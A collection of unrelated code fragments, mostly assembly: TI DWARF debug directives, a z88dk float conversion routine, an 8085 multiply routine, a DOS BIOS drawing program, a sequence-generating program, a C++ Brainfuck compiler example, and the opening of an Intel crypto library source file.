.dwattr $C$DW$T$15, DW_AT_byte_size(0x04)
.dwattr $C$DW$T$15, DW_AT_bit_size(0x28)
.dwattr $C$DW$T$15, DW_AT_bit_offset(0x18)
$C$DW$T$16 .dwtag DW_TAG_base_type
.dwattr $C$DW$T$16, DW_AT_encoding(DW_ATE_float)
.dwattr $C$DW$T$16, DW_AT_name("float")
.dwattr $C$DW$T$16, DW_AT_byte_size(0x02)
$C$DW$T$17 .dwtag DW_TAG_base_type
.dwattr $C$DW$T$17, DW_AT_encoding(DW_ATE_float)
.dwattr $C$DW$T$17, DW_AT_name("double")
.dwattr $C$DW$T$17, DW_AT_byte_size(0x02)
$C$DW$T$18 .dwtag DW_TAG_base_type
.dwattr $C$DW$T$18, DW_AT_encoding(DW_ATE_float)
.dwattr $C$DW$T$18, DW_AT_name("long double")
.dwattr $C$DW$T$18, DW_AT_byte_size(0x02)
.dwattr $C$DW$CU, DW_AT_language(DW_LANG_C)
;***************************************************************
;* DWARF CIE ENTRIES *
;***************************************************************
$C$DW$CIE .dwcie 91
.dwcfi cfa_register, 36
.dwcfi cfa_offset, 0
.dwcfi undefined, 0
.dwcfi undefined, 1
.dwcfi undefined, 2
.dwcfi undefined, 3
.dwcfi undefined, 4
.dwcfi undefined, 5
.dwcfi undefined, 6
.dwcfi undefined, 7
.dwcfi undefined, 8
.dwcfi undefined, 9
.dwcfi undefined, 10
.dwcfi undefined, 11
.dwcfi undefined, 12
.dwcfi undefined, 13
.dwcfi same_value, 14
.dwcfi same_value, 15
.dwcfi undefined, 16
.dwcfi undefined, 17
.dwcfi undefined, 18
.dwcfi undefined, 19
.dwcfi undefined, 20
.dwcfi undefined, 21
.dwcfi undefined, 22
.dwcfi undefined, 23
.dwcfi undefined, 24
.dwcfi undefined, 25
.dwcfi same_value, 26
.dwcfi same_value, 27
.dwcfi same_value, 28
.dwcfi same_value, 29
.dwcfi same_value, 30
.dwcfi same_value, 31
.dwcfi undefined, 32
.dwcfi undefined, 33
.dwcfi undefined, 34
.dwcfi undefined, 35
.dwcfi undefined, 36
.dwcfi undefined, 37
.dwcfi undefined, 38
.dwcfi undefined, 39
.dwcfi undefined, 40
.dwcfi undefined, 41
.dwcfi undefined, 42
.dwcfi undefined, 43
.dwcfi undefined, 44
.dwcfi undefined, 45
.dwcfi undefined, 46
.dwcfi undefined, 47
.dwcfi undefined, 48
.dwcfi undefined, 49
.dwcfi undefined, 50
.dwcfi undefined, 51
.dwcfi undefined, 52
.dwcfi undefined, 53
.dwcfi undefined, 54
.dwcfi undefined, 55
.dwcfi undefined, 56
.dwcfi undefined, 57
.dwcfi undefined, 58
.dwcfi undefined, 59
.dwcfi undefined, 60
.dwcfi undefined, 61
.dwcfi undefined, 62
.dwcfi undefined, 63
.dwcfi undefined, 64
.dwcfi undefined, 65
.dwcfi undefined, 66
.dwcfi undefined, 67
.dwcfi undefined, 68
.dwcfi undefined, 69
.dwcfi undefined, 70
.dwcfi undefined, 71
.dwcfi undefined, 72
.dwcfi undefined, 73
.dwcfi undefined, 74
.dwcfi undefined, 75
.dwcfi undefined, 76
.dwcfi undefined, 77
.dwcfi undefined, 78
.dwcfi undefined, 79
.dwcfi undefined, 80
.dwcfi undefined, 81
.dwcfi undefined, 82
.dwcfi undefined, 83
.dwcfi undefined, 84
.dwcfi undefined, 85
.dwcfi undefined, 86
.dwcfi undefined, 87
.dwcfi undefined, 88
.dwcfi undefined, 89
.dwcfi undefined, 90
.dwcfi undefined, 91
.dwendentry
;***************************************************************
;* DWARF REGISTER MAP *
;***************************************************************
$C$DW$31 .dwtag DW_TAG_TI_assign_register, DW_AT_name("AC0")
.dwattr $C$DW$31, DW_AT_location[DW_OP_reg0]
$C$DW$32 .dwtag DW_TAG_TI_assign_register, DW_AT_name("AC0")
.dwattr $C$DW$32, DW_AT_location[DW_OP_reg1]
$C$DW$33 .dwtag DW_TAG_TI_assign_register, DW_AT_name("AC0_G")
.dwattr $C$DW$33, DW_AT_location[DW_OP_reg2]
$C$DW$34 .dwtag DW_TAG_TI_assign_register, DW_AT_name("AC1")
.dwattr $C$DW$34, DW_AT_location[DW_OP_reg3]
$C$DW$35 .dwtag DW_TAG_TI_assign_register, DW_AT_name("AC1")
.dwattr $C$DW$35, DW_AT_location[DW_OP_reg4]
$C$DW$36 .dwtag DW_TAG_TI_assign_register, DW_AT_name("AC1_G")
.dwattr $C$DW$36, DW_AT_location[DW_OP_reg5]
$C$DW$37 .dwtag DW_TAG_TI_assign_register, DW_AT_name("AC2")
.dwattr $C$DW$37, DW_AT_location[DW_OP_reg6]
$C$DW$38 .dwtag DW_TAG_TI_assign_register, DW_AT_name("AC2")
.dwattr $C$DW$38, DW_AT_location[DW_OP_reg7]
$C$DW$39 .dwtag DW_TAG_TI_assign_register, DW_AT_name("AC2_G")
.dwattr $C$DW$39, DW_AT_location[DW_OP_reg8]
$C$DW$40 .dwtag DW_TAG_TI_assign_register, DW_AT_name("AC3")
.dwattr $C$DW$40, DW_AT_location[DW_OP_reg9]
$C$DW$41 .dwtag DW_TAG_TI_assign_register, DW_AT_name("AC3")
.dwattr $C$DW$41, DW_AT_location[DW_OP_reg10]
$C$DW$42 .dwtag DW_TAG_TI_assign_register, DW_AT_name("AC3_G")
.dwattr $C$DW$42, DW_AT_location[DW_OP_reg11]
$C$DW$43 .dwtag DW_TAG_TI_assign_register, DW_AT_name("T0")
.dwattr $C$DW$43, DW_AT_location[DW_OP_reg12]
$C$DW$44 .dwtag DW_TAG_TI_assign_register, DW_AT_name("T1")
.dwattr $C$DW$44, DW_AT_location[DW_OP_reg13]
$C$DW$45 .dwtag DW_TAG_TI_assign_register, DW_AT_name("T2")
.dwattr $C$DW$45, DW_AT_location[DW_OP_reg14]
$C$DW$46 .dwtag DW_TAG_TI_assign_register, DW_AT_name("T3")
.dwattr $C$DW$46, DW_AT_location[DW_OP_reg15]
$C$DW$47 .dwtag DW_TAG_TI_assign_register, DW_AT_name("AR0")
.dwattr $C$DW$47, DW_AT_location[DW_OP_reg16]
$C$DW$48 .dwtag DW_TAG_TI_assign_register, DW_AT_name("XAR0")
.dwattr $C$DW$48, DW_AT_location[DW_OP_reg17]
$C$DW$49 .dwtag DW_TAG_TI_assign_register, DW_AT_name("AR1")
.dwattr $C$DW$49, DW_AT_location[DW_OP_reg18]
$C$DW$50 .dwtag DW_TAG_TI_assign_register, DW_AT_name("XAR1")
.dwattr $C$DW$50, DW_AT_location[DW_OP_reg19]
$C$DW$51 .dwtag DW_TAG_TI_assign_register, DW_AT_name("AR2")
.dwattr $C$DW$51, DW_AT_location[DW_OP_reg20]
$C$DW$52 .dwtag DW_TAG_TI_assign_register, DW_AT_name("XAR2")
.dwattr $C$DW$52, DW_AT_location[DW_OP_reg21]
$C$DW$53 .dwtag DW_TAG_TI_assign_register, DW_AT_name("AR3")
.dwattr $C$DW$53, DW_AT_location[DW_OP_reg22]
$C$DW$54 .dwtag DW_TAG_TI_assign_register, DW_AT_name("XAR3")
.dwattr $C$DW$54, DW_AT_location[DW_OP_reg23]
$C$DW$55 .dwtag DW_TAG_TI_assign_register, DW_AT_name("AR4")
.dwattr $C$DW$55, DW_AT_location[DW_OP_reg24]
$C$DW$56 .dwtag DW_TAG_TI_assign_register, DW_AT_name("XAR4")
.dwattr $C$DW$56, DW_AT_location[DW_OP_reg25]
$C$DW$57 .dwtag DW_TAG_TI_assign_register, DW_AT_name("AR5")
.dwattr $C$DW$57, DW_AT_location[DW_OP_reg26]
$C$DW$58 .dwtag DW_TAG_TI_assign_register, DW_AT_name("XAR5")
.dwattr $C$DW$58, DW_AT_location[DW_OP_reg27]
$C$DW$59 .dwtag DW_TAG_TI_assign_register, DW_AT_name("AR6")
.dwattr $C$DW$59, DW_AT_location[DW_OP_reg28]
$C$DW$60 .dwtag DW_TAG_TI_assign_register, DW_AT_name("XAR6")
.dwattr $C$DW$60, DW_AT_location[DW_OP_reg29]
$C$DW$61 .dwtag DW_TAG_TI_assign_register, DW_AT_name("AR7")
.dwattr $C$DW$61, DW_AT_location[DW_OP_reg30]
$C$DW$62 .dwtag DW_TAG_TI_assign_register, DW_AT_name("XAR7")
.dwattr $C$DW$62, DW_AT_location[DW_OP_reg31]
$C$DW$63 .dwtag DW_TAG_TI_assign_register, DW_AT_name("FP")
.dwattr $C$DW$63, DW_AT_location[DW_OP_regx 0x20]
$C$DW$64 .dwtag DW_TAG_TI_assign_register, DW_AT_name("XFP")
.dwattr $C$DW$64, DW_AT_location[DW_OP_regx 0x21]
$C$DW$65 .dwtag DW_TAG_TI_assign_register, DW_AT_name("PC")
.dwattr $C$DW$65, DW_AT_location[DW_OP_regx 0x22]
$C$DW$66 .dwtag DW_TAG_TI_assign_register, DW_AT_name("SP")
.dwattr $C$DW$66, DW_AT_location[DW_OP_regx 0x23]
$C$DW$67 .dwtag DW_TAG_TI_assign_register, DW_AT_name("XSP")
.dwattr $C$DW$67, DW_AT_location[DW_OP_regx 0x24]
$C$DW$68 .dwtag DW_TAG_TI_assign_register, DW_AT_name("BKC")
.dwattr $C$DW$68, DW_AT_location[DW_OP_regx 0x25]
$C$DW$69 .dwtag DW_TAG_TI_assign_register, DW_AT_name("BK03")
.dwattr $C$DW$69, DW_AT_location[DW_OP_regx 0x26]
$C$DW$70 .dwtag DW_TAG_TI_assign_register, DW_AT_name("BK47")
.dwattr $C$DW$70, DW_AT_location[DW_OP_regx 0x27]
$C$DW$71 .dwtag DW_TAG_TI_assign_register, DW_AT_name("ST0")
.dwattr $C$DW$71, DW_AT_location[DW_OP_regx 0x28]
$C$DW$72 .dwtag DW_TAG_TI_assign_register, DW_AT_name("ST1")
.dwattr $C$DW$72, DW_AT_location[DW_OP_regx 0x29]
$C$DW$73 .dwtag DW_TAG_TI_assign_register, DW_AT_name("ST2")
.dwattr $C$DW$73, DW_AT_location[DW_OP_regx 0x2a]
$C$DW$74 .dwtag DW_TAG_TI_assign_register, DW_AT_name("ST3")
.dwattr $C$DW$74, DW_AT_location[DW_OP_regx 0x2b]
$C$DW$75 .dwtag DW_TAG_TI_assign_register, DW_AT_name("MDP")
.dwattr $C$DW$75, DW_AT_location[DW_OP_regx 0x2c]
$C$DW$76 .dwtag DW_TAG_TI_assign_register, DW_AT_name("MDP05")
.dwattr $C$DW$76, DW_AT_location[DW_OP_regx 0x2d]
$C$DW$77 .dwtag DW_TAG_TI_assign_register, DW_AT_name("MDP67")
.dwattr $C$DW$77, DW_AT_location[DW_OP_regx 0x2e]
$C$DW$78 .dwtag DW_TAG_TI_assign_register, DW_AT_name("BRC0")
.dwattr $C$DW$78, DW_AT_location[DW_OP_regx 0x2f]
$C$DW$79 .dwtag DW_TAG_TI_assign_register, DW_AT_name("RSA0")
.dwattr $C$DW$79, DW_AT_location[DW_OP_regx 0x30]
$C$DW$80 .dwtag DW_TAG_TI_assign_register, DW_AT_name("RSA0_H")
.dwattr $C$DW$80, DW_AT_location[DW_OP_regx 0x31]
$C$DW$81 .dwtag DW_TAG_TI_assign_register, DW_AT_name("REA0")
.dwattr $C$DW$81, DW_AT_location[DW_OP_regx 0x32]
$C$DW$82 .dwtag DW_TAG_TI_assign_register, DW_AT_name("REA0_H")
.dwattr $C$DW$82, DW_AT_location[DW_OP_regx 0x33]
$C$DW$83 .dwtag DW_TAG_TI_assign_register, DW_AT_name("BRS1")
.dwattr $C$DW$83, DW_AT_location[DW_OP_regx 0x34]
$C$DW$84 .dwtag DW_TAG_TI_assign_register, DW_AT_name("BRC1")
.dwattr $C$DW$84, DW_AT_location[DW_OP_regx 0x35]
$C$DW$85 .dwtag DW_TAG_TI_assign_register, DW_AT_name("RSA1")
.dwattr $C$DW$85, DW_AT_location[DW_OP_regx 0x36]
$C$DW$86 .dwtag DW_TAG_TI_assign_register, DW_AT_name("RSA1_H")
.dwattr $C$DW$86, DW_AT_location[DW_OP_regx 0x37]
$C$DW$87 .dwtag DW_TAG_TI_assign_register, DW_AT_name("REA1")
.dwattr $C$DW$87, DW_AT_location[DW_OP_regx 0x38]
$C$DW$88 .dwtag DW_TAG_TI_assign_register, DW_AT_name("REA1_H")
.dwattr $C$DW$88, DW_AT_location[DW_OP_regx 0x39]
$C$DW$89 .dwtag DW_TAG_TI_assign_register, DW_AT_name("CSR")
.dwattr $C$DW$89, DW_AT_location[DW_OP_regx 0x3a]
$C$DW$90 .dwtag DW_TAG_TI_assign_register, DW_AT_name("RPTC")
.dwattr $C$DW$90, DW_AT_location[DW_OP_regx 0x3b]
$C$DW$91 .dwtag DW_TAG_TI_assign_register, DW_AT_name("CDP")
.dwattr $C$DW$91, DW_AT_location[DW_OP_regx 0x3c]
$C$DW$92 .dwtag DW_TAG_TI_assign_register, DW_AT_name("XCDP")
.dwattr $C$DW$92, DW_AT_location[DW_OP_regx 0x3d]
$C$DW$93 .dwtag DW_TAG_TI_assign_register, DW_AT_name("TRN0")
.dwattr $C$DW$93, DW_AT_location[DW_OP_regx 0x3e]
$C$DW$94 .dwtag DW_TAG_TI_assign_register, DW_AT_name("TRN1")
.dwattr $C$DW$94, DW_AT_location[DW_OP_regx 0x3f]
$C$DW$95 .dwtag DW_TAG_TI_assign_register, DW_AT_name("BSA01")
.dwattr $C$DW$95, DW_AT_location[DW_OP_regx 0x40]
$C$DW$96 .dwtag DW_TAG_TI_assign_register, DW_AT_name("BSA23")
.dwattr $C$DW$96, DW_AT_location[DW_OP_regx 0x41]
$C$DW$97 .dwtag DW_TAG_TI_assign_register, DW_AT_name("BSA45")
.dwattr $C$DW$97, DW_AT_location[DW_OP_regx 0x42]
$C$DW$98 .dwtag DW_TAG_TI_assign_register, DW_AT_name("BSA67")
.dwattr $C$DW$98, DW_AT_location[DW_OP_regx 0x43]
$C$DW$99 .dwtag DW_TAG_TI_assign_register, DW_AT_name("BSAC")
.dwattr $C$DW$99, DW_AT_location[DW_OP_regx 0x44]
$C$DW$100 .dwtag DW_TAG_TI_assign_register, DW_AT_name("CARRY")
.dwattr $C$DW$100, DW_AT_location[DW_OP_regx 0x45]
$C$DW$101 .dwtag DW_TAG_TI_assign_register, DW_AT_name("TC1")
.dwattr $C$DW$101, DW_AT_location[DW_OP_regx 0x46]
$C$DW$102 .dwtag DW_TAG_TI_assign_register, DW_AT_name("TC2")
.dwattr $C$DW$102, DW_AT_location[DW_OP_regx 0x47]
$C$DW$103 .dwtag DW_TAG_TI_assign_register, DW_AT_name("M40")
.dwattr $C$DW$103, DW_AT_location[DW_OP_regx 0x48]
$C$DW$104 .dwtag DW_TAG_TI_assign_register, DW_AT_name("SXMD")
.dwattr $C$DW$104, DW_AT_location[DW_OP_regx 0x49]
$C$DW$105 .dwtag DW_TAG_TI_assign_register, DW_AT_name("ARMS")
.dwattr $C$DW$105, DW_AT_location[DW_OP_regx 0x4a]
$C$DW$106 .dwtag DW_TAG_TI_assign_register, DW_AT_name("C54CM")
.dwattr $C$DW$106, DW_AT_location[DW_OP_regx 0x4b]
$C$DW$107 .dwtag DW_TAG_TI_assign_register, DW_AT_name("SATA")
.dwattr $C$DW$107, DW_AT_location[DW_OP_regx 0x4c]
$C$DW$108 .dwtag DW_TAG_TI_assign_register, DW_AT_name("SATD")
.dwattr $C$DW$108, DW_AT_location[DW_OP_regx 0x4d]
$C$DW$109 .dwtag DW_TAG_TI_assign_register, DW_AT_name("RDM")
.dwattr $C$DW$109, DW_AT_location[DW_OP_regx 0x4e]
$C$DW$110 .dwtag DW_TAG_TI_assign_register, DW_AT_name("FRCT")
.dwattr $C$DW$110, DW_AT_location[DW_OP_regx 0x4f]
$C$DW$111 .dwtag DW_TAG_TI_assign_register, DW_AT_name("SMUL")
.dwattr $C$DW$111, DW_AT_location[DW_OP_regx 0x50]
$C$DW$112 .dwtag DW_TAG_TI_assign_register, DW_AT_name("INTM")
.dwattr $C$DW$112, DW_AT_location[DW_OP_regx 0x51]
$C$DW$113 .dwtag DW_TAG_TI_assign_register, DW_AT_name("AR0LC")
.dwattr $C$DW$113, DW_AT_location[DW_OP_regx 0x52]
$C$DW$114 .dwtag DW_TAG_TI_assign_register, DW_AT_name("AR1LC")
.dwattr $C$DW$114, DW_AT_location[DW_OP_regx 0x53]
$C$DW$115 .dwtag DW_TAG_TI_assign_register, DW_AT_name("AR2LC")
.dwattr $C$DW$115, DW_AT_location[DW_OP_regx 0x54]
$C$DW$116 .dwtag DW_TAG_TI_assign_register, DW_AT_name("AR3LC")
.dwattr $C$DW$116, DW_AT_location[DW_OP_regx 0x55]
$C$DW$117 .dwtag DW_TAG_TI_assign_register, DW_AT_name("AR4LC")
.dwattr $C$DW$117, DW_AT_location[DW_OP_regx 0x56]
$C$DW$118 .dwtag DW_TAG_TI_assign_register, DW_AT_name("AR5LC")
.dwattr $C$DW$118, DW_AT_location[DW_OP_regx 0x57]
$C$DW$119 .dwtag DW_TAG_TI_assign_register, DW_AT_name("AR6LC")
.dwattr $C$DW$119, DW_AT_location[DW_OP_regx 0x58]
$C$DW$120 .dwtag DW_TAG_TI_assign_register, DW_AT_name("AR7LC")
.dwattr $C$DW$120, DW_AT_location[DW_OP_regx 0x59]
$C$DW$121 .dwtag DW_TAG_TI_assign_register, DW_AT_name("CDPLC")
.dwattr $C$DW$121, DW_AT_location[DW_OP_regx 0x5a]
$C$DW$122 .dwtag DW_TAG_TI_assign_register, DW_AT_name("CIE_RETA")
.dwattr $C$DW$122, DW_AT_location[DW_OP_regx 0x5b]
.dwendtag $C$DW$CU
|
; signed long long __fs2ulonglong (float f)
SECTION code_clib
SECTION code_fp_math48
PUBLIC cm48_sdccixp_ds2ulonglong
EXTERN cm48_sdccixp_dread3, am48_dfix64u, l_store_64_dehldehl_mbc
cm48_sdccixp_ds2ulonglong:
; double to unsigned long long
;
; enter : stack = sdcc_float x, result *, ret
;
; exit : *result = (unsigned long long)(x)
;
; uses : af, bc, de, hl, af', bc', de', hl'
call cm48_sdccixp_dread3 ; AC'= math48(x)
call am48_dfix64u ; dehl'dehl = 64-bit integer
pop af
pop bc ; bc = result *
push bc
push af
jp l_store_64_dehldehl_mbc
|
LHLD 2050H ; store contents of 2050H in L and 2051H in H
XCHG ; place A in E and B in D
CALL MLTPLY ; multiply A and B
SHLD 2052H ; store the product in 2052H and 2053H
HLT ; stop
MLTPLY: MOV A,D ; copy B in accumulator
MVI D,00H ; clear D to use in DAD instruction
LXI H,0000 ; clear HL
MVI B,08H ; set up B to count eight rotations
NXTBIT: RAR ; check if multiplier bit is 1
JNC NOADD ; if not, skip adding multiplicand
DAD D ; if multiplier is 1, add multiplicand to HL and place the partial result in HL
NOADD: XCHG ; place multiplicand in HL
DAD H ; and shift left
XCHG ; retrive shifted multiplicand in DL
DCR B ; one operation complete, decrement counter
JNZ NXTBIT ; go back to check next multiplier bit
RET ; stop |
.model small
.stack
.code
start:
; Start of background
mov ah, 06h
mov bh, 70h
mov ch, 00
mov cl, 00
mov dh, 32
mov dl, 80
int 10h
;Start of Nes
;Cap
mov ah, 06h
mov bh, 00h
mov ch, 4
mov cl, 4
mov dh, 6
mov dl, 4
int 10h
mov ah, 06h
mov bh, 00h
mov ch, 3
mov cl, 5
mov dh, 3
mov dl, 5
int 10h
mov ah, 06h
mov bh, 00h
mov ch, 2
mov cl, 6
mov dh, 2
mov dl, 14
int 10h
mov ah, 06h
mov bh, 00h
mov ch, 3
mov cl, 15
mov dh, 3
mov dl, 15
int 10h
mov ah, 06h
mov bh, 00h
mov ch, 4
mov cl, 16
mov dh, 4
mov dl, 16
int 10h
mov ah, 06h
mov bh, 00h
mov ch, 6
mov cl, 5
mov dh, 6
mov dl, 5
int 10h
mov ah, 06h
mov bh, 00h
mov ch, 5
mov cl, 6
mov dh, 5
mov dl, 18
int 10h
mov ah, 06h
mov bh, 200
mov ch, 3
mov cl, 6
mov dh, 3
mov dl, 14
int 10h
mov ah, 06h
mov bh, 200
mov ch, 4
mov cl, 5
mov dh, 4
mov dl, 15
int 10h
mov ah, 06h
mov bh, 200
mov ch, 5
mov cl, 5
mov dh, 5
mov dl, 5
int 10h
;Face
mov ah, 06h
mov bh, 00h
mov ch, 7
mov cl, 3
mov dh, 8
mov dl, 3
int 10h
mov ah, 06h
mov bh, 00h
mov ch, 8
mov cl, 4
mov dh, 8
mov dl, 4
int 10h
mov ah, 06h
mov bh, 00h
mov ch, 9
mov cl, 5
mov dh, 9
mov dl, 5
int 10h
mov ah, 06h
mov bh, 00h
mov ch, 10
mov cl, 6
mov dh, 10
mov dl, 6
int 10h
mov ah, 06h
mov bh, 00h
mov ch, 11
mov cl, 7
mov dh, 11
mov dl, 8
int 10h
mov ah, 06h
mov bh, 00h
mov ch, 12
mov cl, 9
mov dh, 12
mov dl, 10
int 10h
mov ah, 06h
mov bh, 00h
mov ch, 11
mov cl, 11
mov dh, 11
mov dl, 12
int 10h
mov ah, 06h
mov bh, 00h
mov ch, 10
mov cl, 13
mov dh, 10
mov dl, 13
int 10h
mov ah, 06h
mov bh, 00h
mov ch, 9
mov cl, 14
mov dh, 9
mov dl, 14
int 10h
mov ah, 06h
mov bh, 00h
mov ch, 8
mov cl, 15
mov dh, 8
mov dl, 16
int 10h
mov ah, 06h
mov bh, 00h
mov ch, 7
mov cl, 16
mov dh, 7
mov dl, 16
int 10h
mov ah, 06h
mov bh, 00h
mov ch, 6
mov cl, 15
mov dh, 6
mov dl, 15
int 10h
;Face color
mov ah, 06h
mov bh, 231
mov ch, 6
mov cl, 6
mov dh, 8
mov dl, 14
int 10h
mov ah, 06h
mov bh, 231
mov ch, 7
mov cl, 4
mov dh, 7
mov dl, 15
int 10h
mov ah, 06h
mov bh, 231
mov ch, 8
mov cl, 5
mov dh, 8
mov dl, 5
int 10h
mov ah, 06h
mov bh, 231
mov ch, 9
mov cl, 6
mov dh, 9
mov dl, 13
int 10h
mov ah, 06h
mov bh, 231
mov ch, 10
mov cl, 7
mov dh, 10
mov dl, 12
int 10h
mov ah, 06h
mov bh, 231
mov ch, 11
mov cl, 9
mov dh, 11
mov dl, 10
int 10h
;Face two
mov ah, 06h
mov bh, 00h
mov ch, 6
mov cl, 8
mov dh, 6
mov dl, 8
int 10h
mov ah, 06h
mov bh, 00h
mov ch, 6
mov cl, 11
mov dh, 6
mov dl, 11
int 10h
mov ah, 06h
mov bh, 00h
mov ch, 7
mov cl, 10
mov dh, 7
mov dl, 10
int 10h
mov ah, 06h
mov bh, 00h
mov ch, 9
mov cl, 9
mov dh, 9
mov dl, 10
int 10h
;Body
mov ah, 06h
mov bh, 00h
mov ch, 12
mov cl, 6
mov dh, 12
mov dl, 6
int 10h
mov ah, 06h
mov bh, 00h
mov ch, 13
mov cl, 5
mov dh, 13
mov dl, 5
int 10h
mov ah, 06h
mov bh, 00h
mov ch, 14
mov cl, 4
mov dh, 14
mov dl, 4
int 10h
mov ah, 06h
mov bh, 00h
mov ch, 15
mov cl, 5
mov dh, 15
mov dl, 5
int 10h
mov ah, 06h
mov bh, 00h
mov ch, 16
mov cl, 6
mov dh, 16
mov dl, 10
int 10h
mov ah, 06h
mov bh, 00h
mov ch, 17
mov cl, 10
mov dh, 17
mov dl, 12
int 10h
mov ah, 06h
mov bh, 00h
mov ch, 16
mov cl, 13
mov dh, 16
mov dl, 13
int 10h
mov ah, 06h
mov bh, 00h
mov ch, 14
mov cl, 14
mov dh, 15
mov dl, 14
int 10h
mov ah, 06h
mov bh, 00h
mov ch, 12
mov cl, 13
mov dh, 13
mov dl, 13
int 10h
mov ah, 06h
mov bh, 00h
mov ch, 13
mov cl, 12
mov dh, 13
mov dl, 12
int 10h
mov ah, 06h
mov bh, 00h
mov ch, 14
mov cl, 11
mov dh, 14
mov dl, 11
int 10h
mov ah, 06h
mov bh, 00h
mov ch, 15
mov cl, 8
mov dh, 15
mov dl, 10
int 10h
mov ah, 06h
mov bh, 00h
mov ch, 13
mov cl, 7
mov dh, 14
mov dl, 7
int 10h
;Shirt color
mov ah, 06h
mov bh, 145
mov ch, 12
mov cl, 7
mov dh, 12
mov dl, 8
int 10h
mov ah, 06h
mov bh, 145
mov ch, 12
mov cl, 11
mov dh, 12
mov dl, 12
int 10h
mov ah, 06h
mov bh, 145
mov ch, 13
mov cl, 8
mov dh, 13
mov dl, 11
int 10h
mov ah, 06h
mov bh, 231
mov ch, 14
mov cl, 8
mov dh, 14
mov dl, 10
int 10h
mov ah, 06h
mov bh, 145
mov ch, 14
mov cl, 12
mov dh, 14
mov dl, 13
int 10h
mov ah, 06h
mov bh, 145
mov ch, 15
mov cl, 11
mov dh, 15
mov dl, 13
int 10h
mov ah, 06h
mov bh, 145
mov ch, 16
mov cl, 11
mov dh, 16
mov dl, 12
int 10h
mov ah, 06h
mov bh, 231
mov ch, 13
mov cl, 6
mov dh, 14
mov dl, 6
int 10h
mov ah, 06h
mov bh, 231
mov ch, 14
mov cl, 5
mov dh, 14
mov dl, 5
int 10h
mov ah, 06h
mov bh, 145
mov ch, 15
mov cl, 6
mov dh, 15
mov dl, 7
int 10h
mov ah, 4ch
int 21h
end start |
; A199264: Period 18: repeat (9,8,7,6,5,4,3,2,1,0,1,2,3,4,5,6,7,8).
; 9,8,7,6,5,4,3,2,1,0,1,2,3,4,5,6,7,8,9,8,7,6,5,4,3,2,1,0,1,2,3,4,5,6,7,8,9,8,7,6,5,4,3,2,1,0,1,2,3,4,5,6,7,8,9,8,7,6,5,4,3,2,1,0,1,2,3,4,5,6,7,8,9,8,7,6,5,4,3,2,1,0,1,2,3,4,5,6,7,8,9,8,7,6,5,4,3,2,1,0,1,2,3,4,5,6,7,8,9,8,7,6,5,4,3,2,1,0,1,2,3,4,5,6,7,8,9,8,7,6,5,4,3,2,1,0,1,2,3,4,5,6,7,8,9,8,7,6,5,4,3,2,1,0,1,2,3,4,5,6,7,8,9,8,7,6,5,4,3,2,1,0,1,2,3,4,5,6,7,8,9,8,7,6,5,4,3,2,1,0,1,2,3,4,5,6,7,8,9,8,7,6,5,4,3,2,1,0,1,2,3,4,5,6,7,8,9,8,7,6,5,4,3,2,1,0,1,2,3,4,5,6,7,8,9,8,7,6,5,4,3,2,1,0,1,2,3,4,5,6
add $0,2
mov $1,2
mov $2,2
mov $4,2
add $4,$0
add $0,106
add $2,$0
mov $0,$2
mul $0,2
sub $4,2
lpb $0,1
mul $1,2
add $4,9
sub $0,$4
sub $0,1
sub $1,2
mov $3,1
trn $3,$0
mov $4,8
lpe
mul $1,$3
add $1,$0
sub $1,1
|
// Copyright (C) 2011-2020 Roki. Distributed under the MIT License
#include <srook/brainfk/llvm/brainfk_compiler.hpp>
int main()
{
using namespace std::string_literals;
namespace br_keywords = srook::brainfk::label;
const auto bk_keywords = srook::brainfk::make_keywords((
br_keywords::_INCREMENT_THE_POINTER = ">"s,
br_keywords::_DECREMENT_THE_POINTER = "<"s,
br_keywords::_INCREMENT_THE_BYTE_AT_THE_POINTER = "+"s,
br_keywords::_DECREMENT_THE_BYTE_AT_THE_POINTER = "-"s,
br_keywords::_OUTPUT = "."s,
br_keywords::_INPUT = ","s,
br_keywords::_JUMP_FORWARD = "["s,
br_keywords::_JUMP_BACKWARD = "]"s));
srook::brainfk::brainfk_syntax_llvm_compiler<std::string> bkcomp(bk_keywords);
if(!bkcomp.file_open("../sample_bf/fizzbuzz.bf")){
return EXIT_FAILURE;
}
if(!bkcomp.analyze()){
return EXIT_FAILURE;
}
bkcomp.exec();
bkcomp.dump_IR();
bkcomp.output_object("output.o");
}
|
;;
;; Copyright (c) 2019-2021, Intel Corporation
;;
;; Redistribution and use in source and binary forms, with or without
;; modification, are permitted provided that the following conditions are met:
;;
;; * Redistributions of source code must retain the above copyright notice,
;; this list of conditions and the following disclaimer.
;; * Redistributions in binary form must reproduce the above copyright
;; notice, this list of conditions and the following disclaimer in the
;; documentation and/or other materials provided with the distribution.
;; * Neither the name of Intel Corporation nor the names of its contributors
;; may be used to endorse or promote products derived from this software
;; without specific prior written permission.
;;
;; THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
;; AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
;; IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
;; DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE
;; FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
;; DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
;; SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
;; CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
;; OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
;; OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
;;
%use smartalign
%include "include/imb_job.asm"
%include "include/reg_sizes.asm"
%include "include/os.asm"
%include "include/clear_regs.asm"
%include "include/mb_mgr_datastruct.asm"
%include "include/cet.inc"
;; In System V AMD64 ABI
;; callee saves: RBX, RBP, R12-R15
;; Windows x64 ABI
;; callee saves: RBX, RBP, RDI, RSI, RSP, R12-R15
%define CONCAT(a,b) a %+ b
struc STACKFRAME
_rsp_save: resq 1
_gpr_save: resq 4
endstruc
%ifdef LINUX
%define arg1 rdi
%define arg2 rsi
%else
%define arg1 rcx
%define arg2 rdx
%endif
%define job arg1
%define tmp1 rbx
%define tmp2 rbp
%define tmp3 r10
%define tmp4 r11
%define tmp5 r12
%define tmp6 r13
%define tmp7 r8
%define tmp8 r9
section .data
default rel
